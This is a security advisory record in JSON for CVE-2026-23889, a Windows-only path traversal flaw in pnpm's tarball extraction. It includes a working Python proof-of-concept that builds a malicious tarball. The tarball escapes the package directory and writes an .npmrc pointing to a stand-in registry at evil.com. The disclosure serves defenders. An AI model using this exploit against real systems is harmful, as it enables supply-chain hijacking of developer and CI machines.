{"id":"CVE-2026-23889","aliases":["GHSA-6x96-7vc8-cm3p"],"url":"https://o3.security/vulnerability/CVE-2026-23889","summary":"pnpm has Windows-specific tarball Path Traversal","details":"### Summary\nA path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal.\n\n**This vulnerability is Windows-only.**\n\n### Details\n**1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**\n\n```typescript\nif (fileName.includes('./')) {\n  fileName = path.posix.join('/', fileName).slice(1)\n}\n```\n\nA path like `foo\\..\\..\\.npmrc` does NOT contain `./` and bypasses this check.\n\n**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**\n\n- On Unix: Backslashes are literal filename characters (safe)\n- On Windows: Backslashes are directory separators (exploitable)\n\n### PoC\n1. Create a malicious tarball with entry `package/foo\\..\\..\\.npmrc`\n2. Host it or use as a tarball URL dependency\n3. On Windows: `pnpm install`\n4. Observe `.npmrc` written outside package directory\n\n```python\nimport tarfile, io\n\ntar_buffer = io.BytesIO()\nwith tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:\n    pkg_json = b'{\"name\": \"malicious-pkg\", \"version\": \"1.0.0\"}'\n    pkg_info = tarfile.TarInfo(name='package/package.json')\n    pkg_info.size = len(pkg_json)\n    tar.addfile(pkg_info, io.BytesIO(pkg_json))\n\n    malicious_content = b'registry=https://evil.com/\\n'\n    mal_info = tarfile.TarInfo(name='package/foo\\\\..\\\\..\\\\.npmrc')\n    mal_info.size = len(malicious_content)\n    tar.addfile(mal_info, io.BytesIO(malicious_content))\n\nwith open('malicious-pkg-1.0.0.tgz', 'wb') as f:\n    f.write(tar_buffer.getvalue())\n```\n\n### Impact\n- Windows pnpm users\n- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)\n- Can overwrite `.npmrc`, build configs, or other files\n\nVerified on pnpm main @ commit 5a0ed1d45.","published":"2026-01-26T21:50:55.289Z","modified":"2026-08-12T03:51:24.064482911Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"pnpm","fixedVersion":"10.28.1"}],"fix":{"url":"https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0","label":"pnpm/pnpm@6ca07ff"},"references":[{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23889.json"},{"type":"ADVISORY","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23889"},{"type":"FIX","url":"https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:24.064482911Z"}}